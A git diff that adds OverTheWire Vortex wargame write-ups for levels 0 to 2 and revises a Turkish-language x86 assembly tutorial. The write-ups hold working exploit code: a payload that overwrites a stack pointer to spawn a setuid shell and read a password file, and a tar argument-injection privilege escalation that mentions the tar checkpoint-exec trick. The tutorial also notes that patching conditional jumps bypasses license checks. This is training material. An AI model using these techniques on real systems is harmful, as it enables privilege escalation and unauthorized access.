+```python
+import socket, struct
+s = socket.create_connection(("vortex.labs.overthewire.org", 5842)); s.settimeout(10)
+d = b""
+while len(d) < 16: d += s.recv(16 - len(d)) # recv may return less → fill up to 16
+print("hex:", d.hex(" "))
+print("little <4I:", struct.unpack("<4I", d))
+print("big >4I:", struct.unpack(">4I", d))
+```
+```
+hex: 9a 08 52 24 53 68 5f 19 9c a8 51 6a 4a 1d fc 42
+little <4I: (609355930, 425683027, 1783736476, 1123818826) total=3942594259
+big >4I: (2584236580, 1399349017, 2628276586, 1243479106) total=3560373993
+```
+Observation: exactly **16 bytes**; the two interpretations give **different sums** → byte order is vital. Also, every connection brings **new numbers** → read+sum+send must happen **in a single connection**.
+
+## 4. The Trap — trying big-endian (came up in the live solve)
+The first reflex is "network = network byte order (big-endian)". Tried:
+```
+$ python3 solve.py ">"
+sent: bd 2f b4 9d
+--- server --- bzzzt, wrong
+```
+> ⚠️ **byte-order trap:** In network programming, the network byte order (big-endian) habit is **wrong** here. The spec clearly says *"host byte order"*; x86 = little-endian. The diagnosis = seeing the error message and **re-reading the spec**, not random trial-and-error. The fix: `>` → `<`.
+
+## 5. Exploit (little-endian = host byte order)
+```python
+import socket, struct
+s = socket.create_connection(("vortex.labs.overthewire.org", 5842)); s.settimeout(10)
+d = b""
+while len(d) < 16: d += s.recv(16 - len(d))
+total = sum(struct.unpack("<4I", d)) & 0xFFFFFFFF # <4I = little-endian; & mask = mod 2^32
+s.send(struct.pack("`/`!`=big |
+| 32-bit overflow | the sum of 4 numbers exceeds 32 bits → wrap it with `& 0xFFFFFFFF` (mod 2³²) |
+| `recv` may return partial data | guarantee all 16 bytes with a `while len<16` loop |
+| Single connection | each connection means new numbers → read+sum+send on the same socket |
+| Methodology | observe first (raw bytes), read the error message seriously, don't try a new fix before finding the root cause |
diff --git a/docs/eng/overthewire/vortex/vortex 1 -> 2.md b/docs/eng/overthewire/vortex/vortex 1 -> 2.md
new file mode 100644
index 0000000..bb9bb69
--- /dev/null
+++ b/docs/eng/overthewire/vortex/vortex 1 -> 2.md
@@ -0,0 +1,75 @@
+# OverTheWire — Vortex Level 1 → 2
+
+> Goal: the `vortex2` password from `vortex1`. Result: **`**********`** (redacted)
+> Technique: unbounded `ptr` decrement → make the pointer overwrite **itself** and set its MSB to `0xca` → embedded `execlp` shell.
+> Environment: 32-bit x86, stack canary **present** (we don't touch it), NX on (no shellcode needed), **ASLR irrelevant**.
+
+---
+
+## 1. Connection
+```bash
+ssh vortex1@vortex.labs.overthewire.org -p 2228 # password: obtained from vortex0
+```
+`/vortex/vortex1` → `-r-sr-x--- vortex2 vortex1` (setuid vortex2). **No source (`.c`)** → disassembled with `objdump -d -M intel` and the logic reconstructed (not stripped, symbols present).
+
+## 2. Analysis (`objdump` → pseudocode)
+```c
+char buf[512]; // ebp-0x21c
+char *ptr = buf + 256; // ebp-0x224 ; start buf+0x100
+int x;
+while ((x = getchar()) != EOF) {
+ if (x == '\n') print(buf, 512); // print buf
+ else if (x == '\\') ptr--; // ⚠ NO BOUNDS CHECK
+ else {
+ if ((ptr & 0xff000000) == 0xca000000) { // WIN condition
+ setresuid(geteuid(), geteuid(), geteuid());
+ execlp("/bin/sh", "sh", NULL); // → vortex2 shell
+ }
+ if (ptr <= buf + 512) // only UPPER bound check
+ *ptr++ = (char)x; // write, then advance
+ }
+}
+puts("All done");
+```
+
+## 3. Vulnerability
+- `\` (backslash) → does `ptr--`, with **no bounds check at all** → ptr can descend far below `buf`.
+- The write only checks the **upper** bound (`ptr <= buf+512`); there is no lower bound → **writing below buf is free**.
+- The `ptr` variable itself sits in memory just below `buf` (`ebp-0x224`, while buf is at `ebp-0x21c` → 8 bytes earlier). So we can walk ptr back and make **its own storage** the write target.
+- To win: `ptr`'s **most significant byte (MSB)** should be `0xca` → `(ptr & 0xff000000)==0xca000000` → `execlp` shell.
+
+> 💡 **Why ASLR is irrelevant:** ptr is a stack address (possibly random), but we are not trying to know its value — we write **`0xca` directly** into its MSB. Whatever the address is, the top byte becomes 0xca.
+
+## 4. Offset (where 261 comes from)
+- `ptr` start = `buf+0x100` = `ebp-0x11c`.
+- The MSB of the `ptr` variable (little-endian, highest address) = `ebp-0x224 + 3` = `ebp-0x221`.
+- Decrement needed = `0x221 - 0x11c` = **261** backslashes → ptr points exactly at its own MSB.
+- Then write `0xca`: `*ptr = 0xca` clobbers the MSB → `ptr = 0xca______`.
+- One more trigger byte (any normal char) → the win check passes → shell.
+
+## 5. Exploit
+```bash
+python3 -c '
+import sys,time
+sys.stdout.buffer.write(b"\\"*261 + b"\xca\xca"); sys.stdout.flush(); time.sleep(1)
+sys.stdout.buffer.write(b"id; cat /etc/vortex_pass/vortex2\n"); sys.stdout.flush(); time.sleep(1)
+' | /vortex/vortex1
+```
+Output:
+```
+uid=5002(vortex2) gid=5001(vortex1) groups=5001(vortex1)
+**********
+```
+> ⚠️ **stdio/EOF trap (official hint: "how bash handles EOF"):** `getchar` pulls the input into the 4 KB stdio buffer all at once. If you feed the payload together with the commands in one shot, then when the `execlp` shell is born the buffer stays in the old process, the pipe empties → the shell gets an **immediate EOF** and closes. Fix: send the payload, **wait briefly** (let getchar consume it and the shell come up), *then* feed the command — so the command waits in the pipe for the shell.
+
+## Lessons
+| Topic | Note |
+|------|------|
+| Unbounded pointer | `\` → `ptr--`, no bounds check → ptr can land on top of its own storage |
+| One-way bound | The write only checks the upper bound (`ptr<=buf+512`); no lower bound |
+| Self-modifying write | Bring ptr to its own MSB + write `0xca` → `(ptr&0xff000000)==0xca000000` wins |
+| Little-endian | MSB = the highest-addressed byte (`ebp-0x221`); `0xca` is written there ([[vortex0]] byte-order revisited) |
+| ASLR-independent | No need to know the address value; the MSB is written directly |
+| stdio/EOF trap | `getchar` buffers → wait after the payload, then feed the command (let the spawned shell read it) |
+| setuid privesc | `setresuid(geteuid×3)` before `execlp` → ruid=vortex2, the shell doesn't drop privilege |
+| When there's no source | `objdump -d -M intel` + `not stripped` symbols → lift the logic into pseudocode |
diff --git a/docs/eng/overthewire/vortex/vortex 2 -> 3.md b/docs/eng/overthewire/vortex/vortex 2 -> 3.md
new file mode 100644
index 0000000..473b0e4
--- /dev/null
+++ b/docs/eng/overthewire/vortex/vortex 2 -> 3.md
@@ -0,0 +1,64 @@
+# OverTheWire — Vortex Level 2 → 3
+
+> Goal: Get `vortex3`'s password from `vortex2`. Result: **`**********`** (redacted)
+> Technique: a setuid program passes user arguments to `tar` as operands → make tar (euid=vortex3) **archive the password file**, then extract from the group-readable archive.
+> Environment: 32-bit x86 setuid (vortex3); the vulnerability is not memory, but an **unsafe subprocess call**.
+
+---
+
+## 1. Connection
+```bash
+ssh vortex2@vortex.labs.overthewire.org -p 2228 # password: taken from vortex1
+```
+`/vortex/vortex2` → `-r-sr-x--- vortex3 vortex2` (setuid vortex3). No source → `objdump` + `strings` (seen: `/bin/tar`, `/tmp/ownership.$$.tar`).
+
+## 2. Analysis (`objdump` → pseudo-code)
+```c
+int main(int argc, char **argv) {
+ char *args[6];
+ args[0] = "/bin/tar";
+ args[1] = "cf";
+ args[2] = "/tmp/ownership.$$.tar"; // FIXED path — execv, NO shell → $$ does not expand, literal
+ args[3] = argv[1]; // ← user-controlled
+ args[4] = argv[2]; // ← user-controlled
+ args[5] = argv[3]; // ← user-controlled
+ execv("/bin/tar", args); // tar cf /tmp/ownership.$$.tar
+}
+```
+
+## 3. The Vulnerability
+- The program passes the user's `argv[1..3]` **directly** to `tar` as operands, and tar runs with **euid=vortex3** (setuid).
+- You tell tar "which files to archive" → tar can read those files **with vortex3's privileges**.
+- The resulting archive `/tmp/ownership.$$.tar`: owner vortex3, but **mode `-rw-rw-r--`, group vortex2** → we (vortex2, group vortex2) **can read it**.
+- Idea: make tar **archive the password file** → its contents end up in the archive → read the archive and extract them.
+
+> 💡 **Two tar paths:** (A) archiving the password file [the one I used, cleanest]; (B) the classic tar **`--checkpoint-action=exec=`** command injection (tar mistakes a `--`-prefixed operand for an option). B is the path the level's "GNU tar manual" hint points to, but it has two snags: enough **records** are needed for the checkpoint to fire, and because the action runs via `sh -c`, **privileges may drop**. A sidesteps both.
+
+## 4. Exploit (A — make tar archive the password file)
+```bash
+cd /tmp
+/vortex/vortex2 /etc/vortex_pass/vortex3 # → tar cf /tmp/ownership.$$.tar /etc/vortex_pass/vortex3
+tar xOf '/tmp/ownership.$$.tar' # dump the archive's contents to stdout (x=extract, O=stdout, f=file)
+```
+Output:
+```
+/bin/tar: Removing leading `/' from member names # (tar's normal warning)
+**********
+```
+Verification: `tar tvf '/tmp/ownership.$$.tar'` → `-r-------- vortex3/vortex3 ... etc/vortex_pass/vortex3` (tar read the file as vortex3).
+
+> ⚠️ **SIGPIPE trap (came up in the live solve):** if you pipe the program's output into something like `| head`, then when the pipe closes early `tar` dies with **SIGPIPE** and leaves a half/stale archive behind (old `mtime`, empty contents). Run the program **without a pipe**, and read the archive separately afterwards.
+
+> ⚠️ **fixed output path:** `/tmp/ownership.$$.tar` is literal (execv, `$$` does not expand). The file is owned by vortex3; in sticky `/tmp` you **cannot delete** it, but tar (euid vortex3) **can overwrite** it, and since it is group-`rw` **you can read** it.
+
+## Lessons
+| Topic | Note |
+|------|------|
+| Unsafe subprocess | Passing a user argument to a privileged program (tar) without filtering = privesc |
+| Confused deputy | The setuid program reads files on your behalf with vortex3's privileges (a continuation of the [[vortex1]] setuid logic) |
+| tar = file-read primitive | Controlling "what to archive" = controlling "which file to read as vortex3" |
+| Group permissions | Output is `-rw-rw-r--` group vortex2 → we can read the archive and extract the contents |
+| `tar xOf` | Dumps an archive member to **stdout** without unpacking it to disk → quick content read |
+| tar checkpoint trick | `--checkpoint-action=exec=CMD` = classic tar RCE; but the record + `sh -c` privilege drop make it fiddly |
+| SIGPIPE | Closing a `| head` pipe early while the subprocess is writing → SIGPIPE → truncated output |
+| execv vs system | execv opens no shell → `$$` stays literal; but argument injection is still possible |
diff --git a/docs/konu_anlatimlari/x86_assembly/04.5_registerin_ici.md b/docs/konu_anlatimlari/x86_assembly/04.5_registerin_ici.md
index 7df23e8..6673d9b 100644
--- a/docs/konu_anlatimlari/x86_assembly/04.5_registerin_ici.md
+++ b/docs/konu_anlatimlari/x86_assembly/04.5_registerin_ici.md
@@ -90,6 +90,8 @@ Sonucu şu: `AL`'i değiştirirsen, `EAX`'in de en alt byte'ını değiştirmiş
sadece en alt byte değişti; gerisi yerinde kaldı
```
+Neden `AL = 0x44`? 03'ten hatırla: en **sağdaki** hane en küçük değerdir — o yüzden bir sayının en alt byte'ı hep en sağdaki iki hex rakamıdır. `0x11223344`'ün en sağı `44` → `AL`, onun solundaki `33` → `AH`. (Soldan başlayıp `0x11`'i `AL` sanma; alt byte hep sağ uçtadır.)
+
Gördüğün gibi `AL`'e dokunmak `EAX`'i de etkiledi — çünkü `AL`, `EAX`'in bir köşesinin takma adından başka bir şey değil. 04'teki "kutu" benzetmesini hatırla: bu hâlâ **tek bir cep kutusu;** sen sadece onun tamamına mı yoksa bir köşesine mi baktığını (ve yazdığını) seçiyorsun.
> 🔑 Tek cümlede: `AL`/`AH`/`AX`/`EAX` ayrı register'lar değil, aynı register'ın küçükten büyüğe pencereleridir. Küçük pencereye yazmak, büyük pencerenin o kısmını da değiştirir.
diff --git a/docs/konu_anlatimlari/x86_assembly/05.5_perde_arkasi.md b/docs/konu_anlatimlari/x86_assembly/05.5_perde_arkasi.md
index 4f3ed00..571a774 100644
--- a/docs/konu_anlatimlari/x86_assembly/05.5_perde_arkasi.md
+++ b/docs/konu_anlatimlari/x86_assembly/05.5_perde_arkasi.md
@@ -91,6 +91,8 @@ En zekice soru bu, ve cevabı 01'in ("işçi kelime bilmez, sadece sayı") ta ke
Peki bu kelimeyi kim takıyor? **`ld`.** Programı kurarken "**hangi adresten başlasın?**" (giriş noktası) bilgisine ihtiyacı var, ve **varsayılan olarak `_start` adlı etiketi arayıp** onun adresini "başlangıç" kabul eder. Yani `_start`, `ld` ile aranızdaki sessiz bir **anlaşma**: "başlangıcın adı budur."
+Peki programda `_start`'ı neden **iki kez** yazıyoruz — bir `global _start`, bir `_start:`? İki ayrı iş: `_start:` (sonundaki iki nokta üst üste ile) o satıra **etiketi asar**, "burası _start" der. `global _start` ise o etiketi **dışarı, `ld`'ye duyurur** — "bu ismi dosyanın dışı da görebilsin." `global` olmasa etiket yalnız dosyanın içinde kalır; `ld`, varsayılan başlangıç olarak aradığı `_start`'ı bulamazdı. Yani `_start:` ismi *koyar*, `global` onu *görünür* kılar.
+
Bunu denedim — etiketi `_start` yerine `_basla` yaptım:
```
diff --git a/docs/konu_anlatimlari/x86_assembly/07_gdb_tek_adim.md b/docs/konu_anlatimlari/x86_assembly/07_gdb_tek_adim.md
index b855c91..a095194 100644
--- a/docs/konu_anlatimlari/x86_assembly/07_gdb_tek_adim.md
+++ b/docs/konu_anlatimlari/x86_assembly/07_gdb_tek_adim.md
@@ -155,6 +155,8 @@ Bunu tutan da bir kutu: **`eip`** (*instruction pointer* — "komut göstergesi"
Sıradaki komutu görmek için: **`x/i $eip`** ("eip'in gösterdiği adresteki komutu, komut olarak yaz"):
+> 💡 **Baştaki `$` ne?** gdb'de bir register'ı **bir ifadenin içinde, değeri lazım olduğu için** kullanırken adının başına `$` koyarsın: `$eip` = "eip'in *içindeki* adres". Yukarıdaki `info registers eax`'te ise `$` yoktu — çünkü orada register'ı bir hesaba katmıyor, sadece **adıyla listeliyorduk**. Kısaca: değerini kullanıyorsan `$eip`, sadece adını söylüyorsan `eax`.
+
```
(gdb) x/i $eip
```
diff --git a/docs/konu_anlatimlari/x86_assembly/08_mov_ve_bellek.md b/docs/konu_anlatimlari/x86_assembly/08_mov_ve_bellek.md
index cdc6e2c..0352c31 100644
--- a/docs/konu_anlatimlari/x86_assembly/08_mov_ve_bellek.md
+++ b/docs/konu_anlatimlari/x86_assembly/08_mov_ve_bellek.md
@@ -91,7 +91,9 @@ gdb ./bellek
(gdb) starti
```
-Bu sefer sadece register'a değil, **belleğin kendisine** de bakacağız. Bellek kutusuna bakma komutu **`x`** (*examine*): `x/1dw &sayi` = "sayi'nin adresindeki 1 tane dword'ü onluk göster." (`&sayi` = "sayi'nin adresi"; `d` = onluk, `w` = word/dword.)
+Bu sefer sadece register'a değil, **belleğin kendisine** de bakacağız. Bellek kutusuna bakma komutu **`x`** (*examine*): `x/1dw &sayi` = "sayi'nin adresindeki 1 tane dword'ü onluk göster." (`&sayi` = "sayi'nin adresi"; `d` = onluk göster; `w` = **4 byte'lık dword**.)
+
+> 💡 **Karışmasın:** buradaki `w`, `section .data`'daki `dw` ile **aynı harf ama farklı sözlük.** NASM'de `dw` = 2 byte'tı; gdb'nin `x/…w`'sinde `w` = **4 byte** (dword). Aynı harf, iki alet, iki boyut — burada 4 byte gösteriyor.
```
(gdb) info registers eax
diff --git a/docs/konu_anlatimlari/x86_assembly/10_bayraklar_ve_cmp.md b/docs/konu_anlatimlari/x86_assembly/10_bayraklar_ve_cmp.md
index 26a4f9e..06500a0 100644
--- a/docs/konu_anlatimlari/x86_assembly/10_bayraklar_ve_cmp.md
+++ b/docs/konu_anlatimlari/x86_assembly/10_bayraklar_ve_cmp.md
@@ -144,7 +144,7 @@ Tabloya koyalım — karar mantığının çekirdeği bu:
Okuması çok basit:
- **ZF = 1** ise iki sayı **eşit** (çünkü fark sıfır).
-- **ZF = 0, SF = 1** ise ilk sayı **küçük** (fark eksiye düştü — 09'daki two's complement'ten hatırla: eksi = en üst bit 1 = SF).
+- **ZF = 0, SF = 1** ise ilk sayı **küçük** (fark eksiye düştü. 09'daki `0xFFFFFFFD` gibi eksi sayılar hep en soldaki bitle başlar; iki'ye tümleyende **en üst bit = "eksi mi" işaretidir** — SF işte o biti kopyalar).
- **ZF = 0, SF = 0** ise ilk sayı **büyük** (fark pozitif, sıfır değil).
İşçi "hangisi büyük" sorusunu böyle "hatırlar": aslında hatırlamaz — sadece iki bit bırakır, sen (daha doğrusu bir sonraki komut) o iki bite bakıp kararı okur.
@@ -161,7 +161,7 @@ Okuması çok basit:
test eax, eax ; "eax sıfır mı?" → sıfırsa ZF=1
```
-`test`, `cmp` gibi "sonucu atıp yalnız bayrak kuran" bir komuttur. `test eax, eax` kullanıldığında pratik sonucu tek cümle: **eax sıfırsa ZF açılır, değilse kapalı kalır.** İki programla görelim.
+`test`, `cmp` gibi "sonucu atıp yalnız bayrak kuran" bir komuttur. `test eax, eax` kullanıldığında pratik sonucu tek cümle: **eax sıfırsa ZF açılır, değilse kapalı kalır.** (Yeri gelmişken: `test eax, eax` aslında SF'yi de kurar — eax eksiyse SF=1 olur — ama bu "sıfır mı" kısayolunda yalnız ZF'ye bakıyoruz.) İki programla görelim.
`testsifir.asm` (eax = 0):
diff --git a/docs/konu_anlatimlari/x86_assembly/11_ziplamalar.md b/docs/konu_anlatimlari/x86_assembly/11_ziplamalar.md
index 38e648d..abc31b1 100644
--- a/docs/konu_anlatimlari/x86_assembly/11_ziplamalar.md
+++ b/docs/konu_anlatimlari/x86_assembly/11_ziplamalar.md
@@ -129,6 +129,8 @@ Yolu takip et: `test eax, eax` bayrağı kurar. Sonra `jz sifir` — eğer ZF a
> 💡 **Aklınıza takılabilir:** *"Eşitlik için `jz` biraz tuhaf isim — 'sıfırsa atla' neden 'eşitse' demek?"* Çünkü `cmp a, b` içeride `a - b` yapıyordu (10); `a == b` ise fark **sıfır**, yani ZF açılır. Demek ki "eşit mi" sorusu aslında "fark sıfır mı" sorusudur. Bu yüzden `jz`'nin bir de **`je`** (*jump if equal*) adı vardır — ikisi **birebir aynı komuttur**, sadece iki farklı okunuşu. Aynı şekilde `jnz` = **`jne`** (*jump if not equal*). `cmp`'ten sonra `je`/`jne`, `test`'ten sonra `jz`/`jnz` yazmak sadece okunurluk tercihidir.
+> 💡 **Nerede işine yarar:** bir programın şifre/lisans kontrolünü kırmanın klasik yolu, disassembly'de tam bu `cmp`/`test` + `jz` çiftini bulmaktır — sonra ya `jz`'yi `jnz`'ye çevirir ya da zıplamayı `nop`'larsın; böylece "yanlış şifre" dalı "doğru"ymuş gibi davranır. Yani bugün elle *yazdığın* kalıbı, tersine mühendislik *söker.* Bir "kararı" kırmak = onun dayandığı koşullu zıplamayı değiştirmek. 20'de döneceğimiz binary exploitation'ın da ilk tuğlası bu.
+
---
## Sıralamaya Göre Zıpla: `jl` ve `jg`
@@ -174,7 +176,7 @@ Sayıları `mov eax, 40` / `mov ecx, 30` yapıp yeniden çalıştır:
Program her seferinde **büyük olanı** seçti — sen `if (a > b)` mantığını, işçinin diliyle kurdun.
-> 🔑 `cmp a, b` + `jl`/`jg` = "a, b'den küçük/büyük mü?" kararı. 10'da bahsi geçen "işaretli karşılaştırma inceliğinin" bir adı var: **taşma (overflow)** — ve `jl`/`jg` doğru bayrak kombinasyonunu senin yerine bilir, sen elle uğraşmazsın. Bu taşmanın nereden geldiğini ileride, işaretli aritmetiğe döndüğümüzde tıkır tıkır göreceğiz; şimdilik ismini bil, gerisine güven. Sen sadece doğru olanı seç: sıralama için `jl`/`jg`/`jle`/`jge`, eşitlik için `je`/`jne`. Kalıp yine aynı: **`cmp` kur, koşullu zıpla.**
+> 🔑 `cmp a, b` + `jl`/`jg` = "a, b'den küçük/büyük mü?" kararı. 10'da bahsi geçen "işaretli karşılaştırma inceliğinin" bir adı var: **taşma (overflow)** — ve `jl`/`jg` doğru bayrak kombinasyonunu senin yerine bilir, sen elle uğraşmazsın. Bu taşmanın tam mekanizması, işaretli aritmetiğin daha derin bir konusu — bu başlangıç serisinin kapsamı dışında kalıyor; sana burada gereken tek şey ismini bilmek, gerisini `jl`/`jg` senin yerine hallediyor. Sen sadece doğru olanı seç: sıralama için `jl`/`jg`/`jle`/`jge`, eşitlik için `je`/`jne`. Kalıp yine aynı: **`cmp` kur, koşullu zıpla.**
---
diff --git a/docs/konu_anlatimlari/x86_assembly/12_donguler.md b/docs/konu_anlatimlari/x86_assembly/12_donguler.md
index 428b2f4..e8993c1 100644
--- a/docs/konu_anlatimlari/x86_assembly/12_donguler.md
+++ b/docs/konu_anlatimlari/x86_assembly/12_donguler.md
@@ -82,6 +82,8 @@ dongu:
int 0x80
```
+> 💡 **Hangi bayrağı `jnz` okuyor?** Bu döngüde `jnz`'den önce **iki** bayrak-kuran komut var: önce `add eax, ecx`, sonra `dec ecx` — ikisi de ZF'yi günceller (10). Kural basit: **her yeni aritmetik komut bir öncekinin bayrağını ezer**, o yüzden `jnz` yalnızca **kendinden hemen önceki** komutun (yani `dec`'in) bayrağına bakar. `dec`'i tam `jnz`'nin önüne bu yüzden koyduk; `add`'in kurduğu ZF umursanmaz, geçerli olan `dec`'inki.
+
Turları kafanda çevir: ecx=3 → eax 0+3=3; ecx=2 → eax 3+2=5; ecx=1 → eax 5+1=6; ecx=0 → `jnz` durur. Sonuç 6 (=1+2+3). Çalıştır:
```
diff --git a/docs/konu_anlatimlari/x86_assembly/16_calling_convention.md b/docs/konu_anlatimlari/x86_assembly/16_calling_convention.md
index 59521b0..c5592e4 100644
--- a/docs/konu_anlatimlari/x86_assembly/16_calling_convention.md
+++ b/docs/konu_anlatimlari/x86_assembly/16_calling_convention.md
@@ -33,6 +33,8 @@ cdecl'in üç temel kuralı (gerisi ayrıntı):
2. **Dönüş değeri `eax`'te** döner.
3. **Argümanları çağıran temizler** (fonksiyon değil).
+(Yukarıda sorduğumuz *"`ecx` bozulursa çağıranın `ecx`'i mahvolur mu?"*nun cevabı da bu sözleşmenin parçasıdır: hangi register'ı kimin koruyacağı belli kurala bağlıdır. Ama o bir ayrıntı — şimdilik bu üç kural `Topla`'yı yazmaya yetiyor, o inceliğe girmiyoruz.)
+
Şimdi bunları tek tek, çalışan kodla görelim.
> 🔑 **Calling convention** = çağıran ile fonksiyon arasındaki, "veriyi nereye koyacağız, sonucu nereden alacağız, kim temizleyecek" anlaşması. Tek doğru yok; 32-bit Linux'ta standart **cdecl**: argümanlar stack'e (sağdan sola), sonuç `eax`'te, temizlik çağıranda.
@@ -49,7 +51,7 @@ cdecl'in üç temel kuralı (gerisi ayrıntı):
call topla
```
-Neden ters? Böylece `call` yapıldığında **1. argüman stack'te en üstte** (dönüş adresine en yakın) olur — fonksiyon "ilk argümanım nerede?" derken tutarlı bir yere bakar. Az sonra tam adresini göreceğiz.
+Neden ters? Böylece **`call`'dan hemen önce** 1. argüman stack'in tepesinde olur; `call` dönüş adresini onun üstüne `push`'layınca (15) tepe yine **dönüş adresi** olur, 1. argüman da onun hemen **altında** (dönüş adresine en yakın) kalır — fonksiyon "ilk argümanım nerede?" derken tutarlı bir yere bakar. Az sonra tam adresini göreceğiz.
Sonuç ise `eax`'te döner (kural 2) — zaten 15'teki `ekle5` de sonucu eax'e bırakıyordu, cdecl bunu resmî kural yapıyor. Fonksiyondan çıkınca çağıran `eax`'e bakar, sonucu orada bulur.
@@ -69,7 +71,7 @@ topla:
mov ebp, esp ; ebp = şu anki tepe → sabit çıpa
```
-(Bu ilk örnekte çağıran `_start`; `ebp`'ye hiç değer yazmadık, yani sakladığımız şey aslında "boş", önemsiz bir sayı. Ama kural genel: fonksiyon, çağıran kim olursa olsun onun `ebp`'sini korur — burada sadece o boşu koruyor, kalıp her çağıranda aynı çalışsın diye.)
+(Bu ilk örnekte çağıran `_start`; `ebp`'ye anlamlı bir şey yazmamıştı, yani sakladığımız değerin **içeriği** önemsiz. Ama **satırın kendisi** önemli: çoğu çağıranın korunması gereken gerçek bir `ebp`'si olur — 19'da C fonksiyonlarında göreceksin — o yüzden kalıp, çağıran kim olursa olsun onun `ebp`'sini saklar. Burada sadece o "boş"u koruyor.)
Bu iki satırdan sonra stack şöyle dizilidir (14'ten: yukarı = büyük adres). `ebp` artık sabit; ona göre argümanlar:
@@ -117,7 +119,7 @@ topla:
ret
```
-Bir tek yeni parça var: `call`'dan sonraki `add esp, 8`. Bu, **kural 3** — çağıran, stack'e ittiği 2 argümanı (2 × 4 = 8 byte) geri temizliyor. (15'in uyarısını hatırla: stack dengede kalmazsa işler bozulur. Argümanları iten çağıran olduğu için, temizleyen de o.) Çalıştır:
+Bir tek yeni parça var: `call`'dan sonraki `add esp, 8`. Bu, **kural 3** — çağıran, stack'e ittiği 2 argümanı (2 × 4 = 8 byte) geri temizliyor. Neden `sub` değil de **`add`**? Stack aşağı (küçük adrese) doğru büyür (14); argümanları `push`'larken `esp` 8 **azalmıştı**, temizlik de onu 8 geri **artırır** — "silmek" burada `esp`'yi ittiğimiz yerin üstüne, eski tepeye taşımaktır. (15'in uyarısını hatırla: stack dengede kalmazsa işler bozulur. Argümanları iten çağıran olduğu için, temizleyen de o.) Çalıştır:
```
nasm -f elf32 topla_fn.asm -o topla_fn.o
diff --git a/docs/konu_anlatimlari/x86_assembly/19_c_ile_assembly_koprusu.md b/docs/konu_anlatimlari/x86_assembly/19_c_ile_assembly_koprusu.md
index 6c3a911..01f7c4f 100644
--- a/docs/konu_anlatimlari/x86_assembly/19_c_ile_assembly_koprusu.md
+++ b/docs/konu_anlatimlari/x86_assembly/19_c_ile_assembly_koprusu.md
@@ -78,7 +78,7 @@ topla:
ret ; ┘ (çağırana dön) → 15. ders (ret)
```
-**İşte kursun bütün ödülü bu tabloda.** Derleyici, `a + b` gibi masum bir C satırını, tam da senin 16'da **elle kurduğun** iskelete çevirdi: prologue ile `ebp` çıpasını kur, argümanları `[ebp+8]` ve `[ebp+12]`'den oku (16'daki sözleşme!), `add` ile topla (09), epilogue ile temizle ve `ret`'le dön (15). Sen kurstan önce baksan bu bir gizemdi; şimdi **okuyabiliyorsun.**
+**İşte kursun bütün ödülü bu tabloda.** Derleyici, `a + b` gibi masum bir C satırını, tam da senin 16'da **elle kurduğun** iskelete çevirdi: prologue ile `ebp` çıpasını kur, argümanları `[ebp+8]` ve `[ebp+12]`'den oku (16'daki sözleşme!), `add` ile topla (09) — **sonuç `eax`'te kalır, ki cdecl'de dönüş değerinin durduğu yer orasıdır (16); C'deki `return a + b;`'nin "döndür" kısmı işte bu, ayrı bir komut değil** — epilogue ile temizle ve `ret`'le dön (15). Sen kurstan önce baksan bu bir gizemdi; şimdi **okuyabiliyorsun.**
(Küçük bir fark: derleyici toplamı hesaplarken `edx`'i geçici olarak kullandı, biz elle yazarken doğrudan `eax`'i kullanmıştık. Bu normal — hangi register'ı geçici olarak seçeceği derleyicinin tercihidir; ikisi de aynı sözleşmeye uyduğu sürece sonuç değişmez.)
@@ -96,7 +96,7 @@ int carp8(int x) {
}
```
-`gcc -m32 -S -masm=intel -O1 ...` ile çevir. Ürettiği:
+`gcc -m32 -S -masm=intel -O1 -fno-pie -fno-pic carp8.c -o carp8.s` ile çevir (aynı bayraklar, tek fark `-O0` yerine `-O1`). Ürettiği:
```nasm
carp8:
@@ -107,7 +107,17 @@ carp8:
**İşte 13'ün sözü.** 13'te sana `shl` demiştim; gcc burada `sal` yazdı — şaşırma, beklediğin komut bu: **sola kaydırmada `sal` ile `shl` birebir aynı komuttur** (aynı makine kodu, aynı opcode), sadece iki farklı isim. C'de `x * 8` yazdın, ama derleyici bir çarpma komutu (`mul`) koymadı — onun yerine `sal eax, 3` (sola 3 kaydır = ×2³ = ×8) koydu, çünkü kaydırma çok daha hızlı (13). C'de "çarpma" gördün; makinede bir **bit kaydırma** var. İkisi aynı sonucu verir ama derleyici hızlısını seçti.
-Küçük bir ek gözlem: `-O1` açıkken `push ebp`/`mov ebp, esp` prologue'u **bile yok** — derleyici, bu minik fonksiyonun `ebp` çıpasına ihtiyaç duymadığını görüp atlamış, argümanı doğrudan `[esp+4]`'ten okumuş. (Neden az önceki gibi `[ebp+8]` değil de `[esp+4]`? Çünkü prologue'daki `push ebp` yok — o `push` stack'i 4 byte aşağı itiyordu ve biz ölçüyü `ebp`'ye göre yapıyorduk. O kayma olmayınca 1. argüman `esp`'ye göre 4 byte yakında: `[esp+4]`.) (16'da "prologue bir *kolaylık*, mecburiyet değil" demiştik; işte kanıtı.) Optimize edilmiş kod, elle yazdığından daha "kurnaz" görünür — ama altında hep bildiğin komutlar vardır.
+Küçük bir ek gözlem: `-O1` açıkken `push ebp`/`mov ebp, esp` prologue'u **bile yok** — derleyici, bu minik fonksiyonun `ebp` çıpasına ihtiyaç duymadığını görüp atlamış, argümanı doğrudan `[esp+4]`'ten okumuş.
+
+Neden az önceki gibi `[ebp+8]` değil de `[esp+4]`? Üç adımda:
+
+- Fonksiyona girildiği an stack'in tepesinde (`[esp]`) **dönüş adresi** durur; 1. argüman onun hemen üstünde: **`[esp+4]`**.
+- Prologue **olsaydı**, `push ebp` `esp`'yi 4 byte aşağı iter, `mov ebp, esp` çıpayı oraya sabitlerdi — o yüzden `ebp`'ye göre argüman 4 byte daha uzakta kalırdı: **`[ebp+8]`**.
+- Bu fonksiyonda prologue **yok**, o itiş hiç olmadı; ölçüyü doğrudan `esp`'den yapıyoruz: **`[esp+4]`**.
+
+("Hani `esp` sürekli oynuyordu, ona güvenmek tehlikeliydi (16)?" — evet; ama bu minik fonksiyon stack'e hiç dokunmuyor (`push`/`pop`/`call` yok), o yüzden `esp` baştan sona **kıpırdamıyor** ve burada ona güvenmek güvenli.)
+
+(16'da "prologue bir *kolaylık*, mecburiyet değil" demiştik; işte kanıtı.) Optimize edilmiş kod, elle yazdığından daha "kurnaz" görünür — ama altında hep bildiğin komutlar vardır.
> 🔑 `-O1`/`-O2` (optimizasyon) açıkken derleyici zekileşir: `× 8` → `shl/sal` (13), gereksiz prologue'u atar, register'ları kurnazca kullanır. Bu yüzden optimize edilmiş kod ilk bakışta yabancı görünebilir — ama tuğlaları hep bu kursun tuğlalarıdır. Tersine mühendislikte işin çoğu, bu "kurnaz ama tanıdık" kalıpları sökmektir.
